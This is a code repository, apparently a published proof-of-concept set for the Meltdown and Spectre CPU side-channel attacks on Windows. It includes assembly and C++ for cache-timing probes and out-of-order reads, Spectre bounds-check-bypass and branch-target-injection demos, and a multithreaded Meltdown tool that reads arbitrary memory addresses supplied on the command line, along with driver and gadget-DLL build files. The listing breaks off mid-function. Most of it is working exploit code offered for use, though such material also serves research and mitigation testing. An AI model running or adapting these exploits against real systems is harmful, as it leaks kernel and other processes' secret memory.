├── .gitignore ├── 04_spectre_full ├── gadget │ ├── data.rc │ ├── export.def │ ├── starry_night.bmp │ ├── dllmain.cpp │ └── 01.asm ├── attacker │ ├── 01.asm │ └── main.cpp └── Makefile ├── Makefile ├── 03_meltdown_full ├── attacker │ ├── 01.asm │ └── main.cpp ├── Makefile ├── controller │ └── main.cpp └── driver │ └── main.cpp ├── 01_meltdown_toy ├── 01.asm ├── Makefile └── main.cpp ├── common.inc ├── 02_spectre_toy ├── Makefile ├── 01.asm └── main.cpp ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | obj/ 2 | bin/ 3 | -------------------------------------------------------------------------------- /04_spectre_full/gadget/data.rc: -------------------------------------------------------------------------------- 1 | DATA BITMAP starry_night.bmp 2 | -------------------------------------------------------------------------------- /04_spectre_full/gadget/export.def: -------------------------------------------------------------------------------- 1 | LIBRARY "gadget.dll" 2 | EXPORTS 3 | LoadGadget 4 | IndirectCall 5 | Touch 6 | -------------------------------------------------------------------------------- /04_spectre_full/gadget/starry_night.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/msmania/microarchitectural-attack/HEAD/04_spectre_full/gadget/starry_night.bmp -------------------------------------------------------------------------------- /04_spectre_full/gadget/dllmain.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | extern "C" { 4 | void LoadGadget() {} 5 | } 6 | 7 | BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID) { 8 | return TRUE; 9 | } 10 | -------------------------------------------------------------------------------- /04_spectre_full/gadget/01.asm: -------------------------------------------------------------------------------- 1 | global IndirectCall 2 | global Touch 3 | 4 | section .text 5 | 6 | IndirectCall: 7 | mov rax, rcx 8 | mov rcx, rdx 9 | mov rdx, r8 10 | clflush [rax] 11 | call [rax] 12 | ret 13 | 14 | Touch: 15 | movzx eax, byte [rcx] 16 | shl rax, 0Ch 17 | mov al, byte [rax+rdx] 18 | sysenter 19 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | @pushd 01_meltdown_toy & nmake /nologo & popd 3 | @pushd 02_spectre_toy & nmake /nologo & popd 4 | @pushd 03_meltdown_full & nmake /nologo & popd 5 | @pushd 04_spectre_full & nmake /nologo & popd 6 | 7 | clean: 8 | @pushd 01_meltdown_toy & nmake /nologo clean & popd 9 | @pushd 02_spectre_toy & nmake /nologo clean & popd 10 | @pushd 03_meltdown_full & nmake /nologo clean & popd 11 | @pushd 04_spectre_full & nmake /nologo clean & popd 12 | -------------------------------------------------------------------------------- /03_meltdown_full/attacker/01.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | global ooe 4 | global memory_access 5 | 6 | section .text 7 | 8 | ooe: 9 | movzx rax, byte [rcx] 10 | shl rax, 0Ch 11 | jz ooe 12 | mov al, byte [rdx + rax] 13 | ret 14 | 15 | memory_access: 16 | mov r9, rcx 17 | 18 | rdtscp 19 | shl rdx, 20h 20 | or rax, rdx 21 | mov r8, rax 22 | 23 | mov rax, [r9] 24 | 25 | rdtscp 26 | shl rdx, 20h 27 | or rax, rdx 28 | 29 | sub rax,r8 30 | ret 31 | -------------------------------------------------------------------------------- /01_meltdown_toy/01.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | global ooe 4 | global memory_access 5 | 6 | section .text 7 | 8 | ooe: 9 | mov r9, rdx 10 | div dword [r8] 11 | movzx rax, byte [rcx] 12 | shl rax, 0Ch 13 | mov al, byte [r9 + rax] 14 | ret 15 | 16 | memory_access: 17 | mov r9, rcx 18 | 19 | rdtscp 20 | shl rdx, 20h 21 | or rax, rdx 22 | mov r8, rax 23 | 24 | mov rax, [r9] 25 | 26 | rdtscp 27 | shl rdx, 20h 28 | or rax, rdx 29 | 30 | sub rax,r8 31 | ret 32 | -------------------------------------------------------------------------------- /common.inc: -------------------------------------------------------------------------------- 1 | !IF "$(PLATFORM)"=="X64" || "$(PLATFORM)"=="x64" 2 | ARCH=amd64 3 | !ELSE 4 | ARCH=x86 5 | !ENDIF 6 | 7 | OUTDIR=..\bin\$(ARCH) 8 | OBJDIR=obj\$(ARCH) 9 | SRCDIR=. 10 | 11 | CC=cl 12 | LINKER=link 13 | SIGNTOOL=signtool 14 | ASM=D:\nasm\latest\nasm.exe 15 | RD=rd /s /q 16 | RM=del /q 17 | 18 | CFLAGS=\ 19 | /nologo\ 20 | /c\ 21 | /Ox\ 22 | /W4\ 23 | /Zi\ 24 | /Fo"$(OBJDIR)\\"\ 25 | /Fd"$(OBJDIR)\\"\ 26 | 27 | LFLAGS=\ 28 | /NOLOGO\ 29 | /DEBUG\ 30 | /INCREMENTAL:NO\ 31 | 32 | AFLAGS=\ 33 | -g\ 34 | -O0\ 35 | !IF "$(PLATFORM)"=="X64" || "$(PLATFORM)"=="x64" 36 | -fwin64\ 37 | !ELSE 38 | -fwin32\ 39 | !ENDIF 40 | -------------------------------------------------------------------------------- /04_spectre_full/attacker/01.asm: -------------------------------------------------------------------------------- 1 | global memory_access 2 | global flush_reload 3 | global evict 4 | 5 | section .text 6 | 7 | memory_access: 8 | mov r9, rcx 9 | 10 | rdtscp 11 | shl rdx, 20h 12 | or rax, rdx 13 | mov r8, rax 14 | 15 | mov rax, [r9] 16 | 17 | rdtscp 18 | shl rdx, 20h 19 | or rax, rdx 20 | 21 | sub rax,r8 22 | ret 23 | 24 | flush_reload: 25 | mov r9, rcx 26 | 27 | rdtscp 28 | shl rdx, 20h 29 | or rax, rdx 30 | mov r8, rax 31 | 32 | mov rax, [r9] 33 | 34 | rdtscp 35 | shl rdx, 20h 36 | or rax, rdx 37 | 38 | sub rax,r8 39 | clflush [r9] 40 | ret 41 | 42 | evict: 43 | mov al, byte [rcx] 44 | add rcx, r8 45 | dec edx 46 | jnz evict 47 | ret 48 | -------------------------------------------------------------------------------- /01_meltdown_toy/Makefile: -------------------------------------------------------------------------------- 1 | !include ..\common.inc 2 | 3 | TARGET=toy.exe 4 | 5 | OBJS=\ 6 | $(OBJDIR)\main.obj\ 7 | $(OBJDIR)\01.obj\ 8 | 9 | LIBS=\ 10 | 11 | LFLAGS=\ 12 | $(LFLAGS)\ 13 | /SUBSYSTEM:CONSOLE\ 14 | 15 | all: $(OUTDIR)\$(TARGET) 16 | 17 | $(OUTDIR)\$(TARGET): $(OBJS) 18 | @if not exist $(OUTDIR) mkdir $(OUTDIR) 19 | $(LINKER) $(LFLAGS) $(LIBS) /PDB:"$(@R).pdb" /OUT:$@ $** 20 | 21 | {$(SRCDIR)}.cpp{$(OBJDIR)}.obj: 22 | @if not exist $(OBJDIR) mkdir $(OBJDIR) 23 | $(CC) $(CFLAGS) $< 24 | 25 | {$(SRCDIR)}.asm{$(OBJDIR)}.obj: 26 | @if not exist $(OBJDIR) mkdir $(OBJDIR) 27 | $(ASM) $(AFLAGS) -o $@ $< 28 | 29 | clean: 30 | @if exist $(OBJDIR) $(RD) $(OBJDIR) 31 | @if exist $(OUTDIR)\$(TARGET) $(RM) $(OUTDIR)\$(TARGET) 32 | @if exist $(OUTDIR)\$(TARGET:exe=pdb) $(RM) $(OUTDIR)\$(TARGET:exe=pdb) 33 | -------------------------------------------------------------------------------- /02_spectre_toy/Makefile: -------------------------------------------------------------------------------- 1 | !include ..\common.inc 2 | 3 | TARGET=branch.exe 4 | 5 | OBJS=\ 6 | $(OBJDIR)\main.obj\ 7 | $(OBJDIR)\01.obj\ 8 | 9 | LIBS=\ 10 | 11 | LFLAGS=\ 12 | $(LFLAGS)\ 13 | /SUBSYSTEM:CONSOLE\ 14 | 15 | all: $(OUTDIR)\$(TARGET) 16 | 17 | $(OUTDIR)\$(TARGET): $(OBJS) 18 | @if not exist $(OUTDIR) mkdir $(OUTDIR) 19 | $(LINKER) $(LFLAGS) $(LIBS) /PDB:"$(@R).pdb" /OUT:$@ $** 20 | 21 | {$(SRCDIR)}.cpp{$(OBJDIR)}.obj: 22 | @if not exist $(OBJDIR) mkdir $(OBJDIR) 23 | $(CC) $(CFLAGS) $< 24 | 25 | {$(SRCDIR)}.asm{$(OBJDIR)}.obj: 26 | @if not exist $(OBJDIR) mkdir $(OBJDIR) 27 | $(ASM) $(AFLAGS) -o $@ $< 28 | 29 | clean: 30 | @if exist $(OBJDIR) $(RD) $(OBJDIR) 31 | @if exist $(OUTDIR)\$(TARGET) $(RM) $(OUTDIR)\$(TARGET) 32 | @if exist $(OUTDIR)\$(TARGET:exe=pdb) $(RM) $(OUTDIR)\$(TARGET:exe=pdb) 33 | -------------------------------------------------------------------------------- /02_spectre_toy/01.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | global branch_predictor 4 | global memory_access 5 | global indirect_call 6 | global touch_and_break 7 | 8 | section .text 9 | 10 | branch_predictor: 11 | cmp rcx, [r8] 12 | jae .skip_access 13 | 14 | movzx rax, byte [rdx + rcx] 15 | shl rax, 0Ch 16 | mov al, byte [r9 + rax] 17 | 18 | .skip_access: 19 | ret 20 | 21 | memory_access: 22 | mov r9, rcx 23 | 24 | rdtscp 25 | shl rdx, 20h 26 | or rax, rdx 27 | mov r8, rax 28 | 29 | mov rax, [r9] 30 | 31 | rdtscp 32 | shl rdx, 20h 33 | or rax, rdx 34 | 35 | sub rax,r8 36 | ret 37 | 38 | indirect_call: 39 | mov rax, rcx 40 | mov rcx, rdx 41 | mov rdx, r8 42 | clflush [rax] 43 | call [rax] 44 | ret 45 | 46 | touch_and_break: 47 | movzx eax, byte [rcx] 48 | shl rax, 0Ch 49 | mov al, byte [rax+rdx] 50 | sysenter 51 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 tokikuch 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /01_meltdown_toy/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | constexpr int probe_lines = 256; 7 | uint64_t tat[probe_lines]; 8 | uint8_t probe[probe_lines * 4096]; 9 | 10 | extern "C" { 11 | uint64_t memory_access(void *p); 12 | void ooe(void *target, void *probe_start, uint32_t *divisor); 13 | } 14 | 15 | void meltdown_toy(void *target_address) { 16 | memset(probe, 0xfe, sizeof(probe)); 17 | 18 | uint32_t zero = 0; 19 | for (int trial = 0; ; ++trial) { 20 | for (int i = 0; i < 256; ++i) 21 | _mm_clflush(probe + i * 4096); 22 | 23 | __try { 24 | ooe(target_address, probe, &zero); 25 | } 26 | __except(EXCEPTION_EXECUTE_HANDLER) { 27 | //printf("%08x\n", GetExceptionCode()); 28 | } 29 | 30 | for (int i = 0; i < probe_lines; ++i) 31 | tat[i] = memory_access(probe + i * 4096); 32 | 33 | int idx_min = 0; 34 | for (int i = 0; i < probe_lines; ++i) 35 | if (tat[i] < tat[idx_min]) idx_min = i; 36 | 37 | if (tat[idx_min] < 100) { 38 | printf("trial#%d: guess=%02x (score=%llu)\n", trial, idx_min, tat[idx_min]); 39 | for (int i = 0; i < probe_lines; ++i) { 40 | if ((i + 1) % 16 == 0) 41 | printf("% 6llu\n", tat[i]); 42 | else 43 | printf("% 6llu", tat[i]); 44 | } 45 | break; 46 | } 47 | } 48 | } 49 | 50 | int main(int argc, char *argv[]) { 51 | int a = argc >= 2 ? atoi(argv[1]) : 0x42; 52 | SetProcessAffinityMask(GetCurrentProcess(), 1); 53 | meltdown_toy(&a); 54 | return 0; 55 | } 56 | -------------------------------------------------------------------------------- /04_spectre_full/Makefile: -------------------------------------------------------------------------------- 1 | !include ..\common.inc 2 | 3 | GADGET=gadget.dll 4 | ATTACKER=spectre.exe 5 | 6 | OBJS_GADGET=\ 7 | gadget\$(OBJDIR)\dllmain.obj\ 8 | gadget\$(OBJDIR)\data.res\ 9 | gadget\$(OBJDIR)\01.obj\ 10 | 11 | OBJS_ATTACKER=\ 12 | attacker\$(OBJDIR)\main.obj\ 13 | attacker\$(OBJDIR)\01.obj\ 14 | 15 | # warning C4702: unreachable code 16 | CFLAGS=\ 17 | $(CFLAGS)\ 18 | /wd4702\ 19 | /EHsc\ 20 | /DUNICODE\ 21 | 22 | LFLAGS=\ 23 | $(LFLAGS)\ 24 | /SUBSYSTEM:CONSOLE\ 25 | 26 | LFLAGS_WIN=\ 27 | $(LFLAGS)\ 28 | /SUBSYSTEM:WINDOWS\ 29 | 30 | all: $(OUTDIR)\$(GADGET) $(OUTDIR)\$(ATTACKER) 31 | 32 | $(OUTDIR)\$(GADGET): $(OBJS_GADGET) 33 | @if not exist $(OUTDIR) mkdir $(OUTDIR) 34 | $(LINKER) $(LFLAGS_WIN) /DLL /DEF:gadget\export.def /PDB:"$(@R).pdb" /OUT:$@ $** 35 | 36 | $(OUTDIR)\$(ATTACKER): $(OBJS_ATTACKER) 37 | @if not exist $(OUTDIR) mkdir $(OUTDIR) 38 | $(LINKER) $(LFLAGS) $(OUTDIR)\gadget.lib /PDB:"$(@R).pdb" /OUT:$@ $** 39 | 40 | {gadget}.cpp{gadget\$(OBJDIR)}.obj: 41 | @if not exist gadget\$(OBJDIR) mkdir gadget\$(OBJDIR) 42 | $(CC) $(CFLAGS) /Fo"gadget\$(OBJDIR)\\" /Fd"gadget\$(OBJDIR)\\" $< 43 | 44 | {gadget}.asm{gadget\$(OBJDIR)}.obj: 45 | @if not exist gadget\$(OBJDIR) mkdir gadget\$(OBJDIR) 46 | $(ASM) $(AFLAGS) -o $@ $< 47 | 48 | {gadget}.rc{gadget\$(OBJDIR)}.res: 49 | @if not exist gadget\$(OBJDIR) mkdir gadget\$(OBJDIR) 50 | rc /nologo /fo "$@" $< 51 | 52 | {attacker}.cpp{attacker\$(OBJDIR)}.obj: 53 | @if not exist attacker\$(OBJDIR) mkdir attacker\$(OBJDIR) 54 | $(CC) $(CFLAGS) /Fo"attacker\$(OBJDIR)\\" /Fd"attacker\$(OBJDIR)\\" $< 55 | 56 | {attacker}.asm{attacker\$(OBJDIR)}.obj: 57 | @if not exist attacker\$(OBJDIR) mkdir attacker\$(OBJDIR) 58 | $(ASM) $(AFLAGS) -o $@ $< 59 | 60 | clean: 61 | @if exist gadget\$(OBJDIR) $(RD) gadget\$(OBJDIR) 62 | @if exist attacker\$(OBJDIR) $(RD) attacker\$(OBJDIR) 63 | 64 | @if exist $(OUTDIR)\$(GADGET) $(RM) $(OUTDIR)\$(GADGET) 65 | @if exist $(OUTDIR)\$(ATTACKER) $(RM) $(OUTDIR)\$(ATTACKER) 66 | 67 | @if exist $(OUTDIR)\$(GADGET:dll=pdb) $(RM) $(OUTDIR)\$(GADGET:dll=pdb) 68 | @if exist $(OUTDIR)\$(GADGET:dll=exp) $(RM) $(OUTDIR)\$(GADGET:dll=exp) 69 | @if exist $(OUTDIR)\$(GADGET:dll=lib) $(RM) $(OUTDIR)\$(GADGET:dll=lib) 70 | @if exist $(OUTDIR)\$(ATTACKER:exe=pdb) $(RM) $(OUTDIR)\$(ATTACKER:exe=pdb) 71 | -------------------------------------------------------------------------------- /03_meltdown_full/Makefile: -------------------------------------------------------------------------------- 1 | !include ..\common.inc 2 | 3 | WDKINCPATH=C:\Program Files (x86)\Windows Kits\10\Include\10.0.16299.0\km 4 | WDKLIBPATH=C:\Program Files (x86)\Windows Kits\10\Lib\10.0.16299.0\km\x64 5 | CODESIGN_SHA1=fd3df8f2694b47e0c38b629448d754d8c0e3b779 6 | 7 | ATTACKER=meltdown.exe 8 | CONTROLLER=mdc.exe 9 | DRIVER=meltdown.sys 10 | 11 | OBJS_ATTACKER=\ 12 | attacker\$(OBJDIR)\main.obj\ 13 | attacker\$(OBJDIR)\01.obj\ 14 | 15 | OBJS_CONTROLLER=\ 16 | controller\$(OBJDIR)\main.obj\ 17 | 18 | OBJS_DRIVER=\ 19 | driver\$(OBJDIR)\main.obj\ 20 | 21 | LIBS_DRIVER=\ 22 | bufferoverflowfastfailk.lib\ 23 | ntoskrnl.lib\ 24 | 25 | LFLAGS_CONSOLE=\ 26 | $(LFLAGS)\ 27 | /SUBSYSTEM:CONSOLE\ 28 | 29 | CFLAGS_DRIVER=\ 30 | $(CFLAGS)\ 31 | /Os\ 32 | /GF\ 33 | /Gm-\ 34 | /GS\ 35 | /Gy\ 36 | /Gz\ 37 | /GR-\ 38 | /kernel -cbstring -d2epilogunwind\ 39 | /fp:precise\ 40 | /Zp8\ 41 | /Zc:wchar_t-\ 42 | /Zc:forScope\ 43 | /Zc:inline\ 44 | /D_AMD64_\ 45 | /I"$(WDKINCPATH)"\ 46 | /I"$(WDKINCPATH)\crt"\ 47 | 48 | LFLAGS_DRIVER=\ 49 | $(LFLAGS)\ 50 | /SUBSYSTEM:NATIVE\ 51 | /DRIVER\ 52 | /KERNEL\ 53 | /ENTRY:"DriverEntry"\ 54 | /RELEASE\ 55 | /SECTION:"INIT,d"\ 56 | /NODEFAULTLIB\ 57 | /MANIFEST:NO\ 58 | /OPT:REF\ 59 | /OPT:ICF\ 60 | /MERGE:"_TEXT=.text;_PAGE=PAGE"\ 61 | /LIBPATH:"$(WDKLIBPATH)"\ 62 | 63 | all: $(OUTDIR)\$(ATTACKER) $(OUTDIR)\$(CONTROLLER) $(OUTDIR)\$(DRIVER) 64 | 65 | $(OUTDIR)\$(ATTACKER): $(OBJS_ATTACKER) 66 | @if not exist $(OUTDIR) mkdir $(OUTDIR) 67 | $(LINKER) $(LFLAGS_CONSOLE) /PDB:"$(@R).pdb" /OUT:$@ $** 68 | 69 | $(OUTDIR)\$(CONTROLLER): $(OBJS_CONTROLLER) 70 | @if not exist $(OUTDIR) mkdir $(OUTDIR) 71 | $(LINKER) $(LFLAGS_CONSOLE) /PDB:"$(@R).pdb" /OUT:$@ $** 72 | 73 | $(OUTDIR)\$(DRIVER): $(OBJS_DRIVER) 74 | @if not exist $(OUTDIR) mkdir $(OUTDIR) 75 | $(LINKER) $(LFLAGS_DRIVER) $(LIBS_DRIVER) /PDB:"$(@R)_driver.pdb" /IMPLIB:"$(@R).lib" /OUT:$@ $** 76 | $(SIGNTOOL) sign /ph /sha1 $(CODESIGN_SHA1) $@ 77 | 78 | {attacker}.cpp{attacker\$(OBJDIR)}.obj: 79 | @if not exist attacker\$(OBJDIR) mkdir attacker\$(OBJDIR) 80 | $(CC) $(CFLAGS) /Fo"attacker\$(OBJDIR)\\" /Fd"attacker\$(OBJDIR)\\" $< 81 | 82 | {attacker}.asm{attacker\$(OBJDIR)}.obj: 83 | @if not exist attacker\$(OBJDIR) mkdir attacker\$(OBJDIR) 84 | $(ASM) $(AFLAGS) -o $@ $< 85 | 86 | {controller}.cpp{controller\$(OBJDIR)}.obj: 87 | @if not exist controller\$(OBJDIR) mkdir controller\$(OBJDIR) 88 | $(CC) $(CFLAGS) /DUNICODE /Fo"controller\$(OBJDIR)\\" /Fd"controller\$(OBJDIR)\\" $< 89 | 90 | {driver}.cpp{driver\$(OBJDIR)}.obj: 91 | @if not exist driver\$(OBJDIR) mkdir driver\$(OBJDIR) 92 | $(CC) $(CFLAGS_DRIVER) /Fo"driver\$(OBJDIR)\\" /Fd"driver\$(OBJDIR)\\" $< 93 | 94 | clean: 95 | @if exist attacker\$(OBJDIR) $(RD) attacker\$(OBJDIR) 96 | @if exist controller\$(OBJDIR) $(RD) controller\$(OBJDIR) 97 | @if exist driver\$(OBJDIR) $(RD) driver\$(OBJDIR) 98 | @if exist $(OUTDIR)\$(ATTACKER) $(RM) $(OUTDIR)\$(ATTACKER) 99 | @if exist $(OUTDIR)\$(ATTACKER:exe=pdb) $(RM) $(OUTDIR)\$(ATTACKER:exe=pdb) 100 | @if exist $(OUTDIR)\$(CONTROLLER) $(RM) $(OUTDIR)\$(CONTROLLER) 101 | @if exist $(OUTDIR)\$(CONTROLLER:exe=pdb) $(RM) $(OUTDIR)\$(CONTROLLER:exe=pdb) 102 | @if exist $(OUTDIR)\$(DRIVER) $(RM) $(OUTDIR)\$(DRIVER) 103 | @if exist $(OUTDIR)\$(DRIVER:sys=pdb) $(RM) $(OUTDIR)\$(DRIVER:sys=pdb) 104 | -------------------------------------------------------------------------------- /02_spectre_toy/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | extern "C" { 8 | uint64_t memory_access(void *target); 9 | void branch_predictor(uint64_t relative_target, 10 | void *basepos, 11 | uint64_t *comparer, 12 | void *probe_start); 13 | void indirect_call(const void *proc, 14 | const void *target_memory, 15 | const void *probe_start); 16 | void touch_and_break(uint8_t *target_memory, uint8_t *probe_start); 17 | } 18 | 19 | const char TheAnswer[] = "Answer to the Ultimate Question of Life, The Universe, and Everything is 42"; 20 | constexpr int probe_lines = 256; 21 | uint64_t tat[probe_lines]; 22 | uint8_t probe[probe_lines * 4096]; 23 | 24 | void bounds_check_bypass(const void *target_address) { 25 | uint64_t comparer = 1; 26 | uint8_t gateway[] = {0}; 27 | 28 | for (int trial = 0; ; ++trial) { 29 | for (int i = 0; i < probe_lines; i++) 30 | _mm_clflush(&probe[i * 4096]); 31 | 32 | uint64_t train_and_attack[12] = {}; 33 | train_and_attack[5] 34 | = train_and_attack[11] 35 | = reinterpret_cast(target_address) - reinterpret_cast(gateway); 36 | 37 | for (auto x : train_and_attack) { 38 | _mm_clflush(&comparer); 39 | branch_predictor(x, gateway, &comparer, probe); 40 | } 41 | 42 | for (int i = 0; i < probe_lines; i++) 43 | tat[i] = memory_access(&probe[i * 4096]); 44 | 45 | int idx_min = 1; 46 | for (int i = 1; i < probe_lines; ++i) 47 | if (tat[i] < tat[idx_min]) idx_min = i; 48 | 49 | if (tat[idx_min] < 100) { 50 | printf("trial#%d: guess='%c' (score=%llu)\n", trial, idx_min, tat[idx_min]); 51 | for (int i = 0; i < probe_lines; ++i) { 52 | if ((i + 1) % 16 == 0) 53 | printf("% 6llu\n", tat[i]); 54 | else 55 | printf("% 6llu", tat[i]); 56 | } 57 | break; 58 | } 59 | } 60 | } 61 | 62 | void do_nothing(uint8_t*, uint8_t*) {} 63 | 64 | void branch_target_injection(const void *target_address) { 65 | uint8_t train_and_attack[6] = {}; 66 | train_and_attack[5] = 1; 67 | 68 | uint8_t original_prologue = *reinterpret_cast(touch_and_break); 69 | void (*target_proc)(uint8_t*, uint8_t*) = nullptr; 70 | void *call_destination = reinterpret_cast(&target_proc); 71 | 72 | for (int trial = 0; ; ++trial) { 73 | for (int i = 0; i < probe_lines; i++) 74 | _mm_clflush(&probe[i * 4096]); 75 | 76 | for (auto x : train_and_attack) { 77 | *reinterpret_cast(touch_and_break) = x ? original_prologue : 0xC3; 78 | target_proc = x ? do_nothing : touch_and_break; 79 | indirect_call(call_destination, target_address, probe); 80 | } 81 | 82 | for (int i = 0; i < probe_lines; i++) 83 | tat[i] = memory_access(&probe[i * 4096]); 84 | 85 | int idx_min = 1; 86 | for (int i = 1; i < probe_lines; ++i) 87 | if (tat[i] < tat[idx_min]) idx_min = i; 88 | 89 | if (tat[idx_min] < 100) { 90 | printf("trial#%d: guess='%c' (score=%llu)\n", trial, idx_min, tat[idx_min]); 91 | for (int i = 0; i < probe_lines; ++i) { 92 | if ((i + 1) % 16 == 0) 93 | printf("% 6llu\n", tat[i]); 94 | else 95 | printf("% 6llu", tat[i]); 96 | } 97 | break; 98 | } 99 | } 100 | } 101 | 102 | bool JailbreakMemoryPage(LPVOID target) { 103 | DWORD old; 104 | return !!VirtualProtect(reinterpret_cast(reinterpret_cast(target) & ~0xfff), 105 | 0x1000, 106 | PAGE_EXECUTE_WRITECOPY, 107 | &old); 108 | } 109 | 110 | int main(int argc, const char **argv) { 111 | if (argc < 2) { 112 | printf("USAGE: spectre [--variant1 | --variant2]\n\n"); 113 | return 1; 114 | } 115 | else { 116 | int offset = argc >= 3 ? atoi(argv[2]) : 0; 117 | if (strcmp(argv[1], "--variant1") == 0) { 118 | bounds_check_bypass(TheAnswer + offset); 119 | } 120 | else if (strcmp(argv[1], "--variant2") == 0) { 121 | if (JailbreakMemoryPage(touch_and_break)) { 122 | branch_target_injection(TheAnswer + offset); 123 | } 124 | } 125 | else { 126 | printf("Invalid argument.\n"); 127 | return 1; 128 | } 129 | } 130 | return 0; 131 | } 132 | -------------------------------------------------------------------------------- /03_meltdown_full/attacker/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | char TestData[] = "Boring data"; 8 | constexpr int probe_lines = 256; 9 | __declspec(thread) uint64_t tat[probe_lines]; 10 | __declspec(thread) uint8_t probe[probe_lines * 4096]; 11 | 12 | extern "C" { 13 | uint64_t memory_access(void *p); 14 | void ooe(void *target, void *probe_start); 15 | } 16 | 17 | class bstream { 18 | private: 19 | uint64_t val_; 20 | 21 | void put(int c) { 22 | int h = 0; 23 | if (c >= '0' && c <= '9') h = c - '0'; 24 | else if (c >= 'A' && c <= 'F') h = c - 'A' + 10; 25 | else if (c >= 'a' && c <= 'f') h = c - 'a' + 10; 26 | else return; 27 | val_ = val_ << 4 | h; 28 | } 29 | 30 | public: 31 | bstream() : val_(0) {} 32 | bstream(const char *str) : val_(0) { 33 | for (const char *p = str; *p; ++p) 34 | put(*p); 35 | } 36 | 37 | operator uint64_t() const { 38 | return val_; 39 | } 40 | 41 | template 42 | T As() const { 43 | return reinterpret_cast(val_); 44 | } 45 | }; 46 | 47 | void bstream_test() { 48 | assert(bstream("ffffe485c16df5c0") == 0xffffe485c16df5c0); 49 | assert(bstream("0xffffe485c16df5c0") == 0xffffe485c16df5c0); 50 | assert(bstream("ffffe485`c16df610") == 0xffffe485c16df610); 51 | assert(bstream("0xffffe485`c16df610") == 0xffffe485c16df610); 52 | } 53 | 54 | struct probe_result{ 55 | uint8_t value_; 56 | int trial_; 57 | uint64_t tat_; 58 | }; 59 | 60 | void meltdown_full(uint8_t *target_address, probe_result &result) { 61 | constexpr uint32_t max_trial = 200000; 62 | result = {}; 63 | for (; result.trial_ < max_trial; ++result.trial_) { 64 | for (int i = 0; i < probe_lines; ++i) 65 | _mm_clflush(probe + i * 4096); 66 | 67 | __try { 68 | ooe(target_address, probe); 69 | } 70 | __except(EXCEPTION_EXECUTE_HANDLER) {} 71 | 72 | for (int i = 0; i < probe_lines; ++i) 73 | tat[i] = memory_access(probe + i * 4096); 74 | 75 | int idx_min = 0; 76 | for (int i = 0; i < probe_lines; ++i) { 77 | if (tat[i] < tat[idx_min]) idx_min = i; 78 | } 79 | 80 | if (tat[idx_min] < 100 && idx_min != 0) { 81 | result.value_ = static_cast(idx_min); 82 | result.tat_ = tat[idx_min]; 83 | break; 84 | } 85 | } 86 | } 87 | 88 | struct GlobalContext { 89 | uint8_t *target_start_; 90 | uint32_t read_count_; 91 | } g_context = {}; 92 | 93 | DWORD WINAPI ProbingThread(LPVOID param) { 94 | if (auto result = reinterpret_cast(param)) { 95 | uint8_t *p = g_context.target_start_; 96 | uint8_t *target_end = p + g_context.read_count_; 97 | while (p < target_end) { 98 | meltdown_full(p++, *result); 99 | ++result; 100 | } 101 | } 102 | ExitThread(0); 103 | } 104 | 105 | int main(int argc, char *argv[]) { 106 | if (argc < 2) { 107 | bstream_test(); 108 | printf("USAGE: meltdown [start]\n"); 109 | return 1; 110 | } 111 | 112 | g_context.target_start_ = argc > 2 ? bstream(argv[2]).As() 113 | : reinterpret_cast(TestData); 114 | auto read_count = g_context.read_count_ = atoi(argv[1]); 115 | printf("Target range: %p - %p\n\n", 116 | g_context.target_start_, 117 | g_context.target_start_ + read_count); 118 | 119 | SYSTEM_INFO sysinfo{}; 120 | GetSystemInfo(&sysinfo); 121 | //sysinfo.dwNumberOfProcessors = 1; 122 | printf("You have %d CPU cores. Starting probing threads...\n\n", 123 | sysinfo.dwNumberOfProcessors); 124 | 125 | auto results = new probe_result[sysinfo.dwNumberOfProcessors * read_count]; 126 | auto threads = new HANDLE[sysinfo.dwNumberOfProcessors]; 127 | memset(probe, 0xfe, sizeof(probe)); 128 | 129 | for (DWORD i = 0; i < sysinfo.dwNumberOfProcessors; ++i) { 130 | DWORD tid; 131 | threads[i] = CreateThread(/*lpThreadAttributes*/nullptr, 132 | /*dwStackSize*/0, 133 | ProbingThread, 134 | &results[i * read_count], 135 | CREATE_SUSPENDED, 136 | &tid); 137 | SetThreadAffinityMask(threads[i], 1i64 << i); 138 | printf("running tid:%04x for core#%d\n", tid, i); 139 | ResumeThread(threads[i]); 140 | } 141 | printf("\n"); 142 | WaitForMultipleObjects(sysinfo.dwNumberOfProcessors, 143 | threads, 144 | /*bWaitAll*/TRUE, 145 | INFINITE); 146 | for (DWORD i = 0; i < sysinfo.dwNumberOfProcessors; ++i) 147 | CloseHandle(threads[i]); 148 | delete [] threads; 149 | 150 | for (DWORD i = 0; i < sysinfo.dwNumberOfProcessors; ++i) { 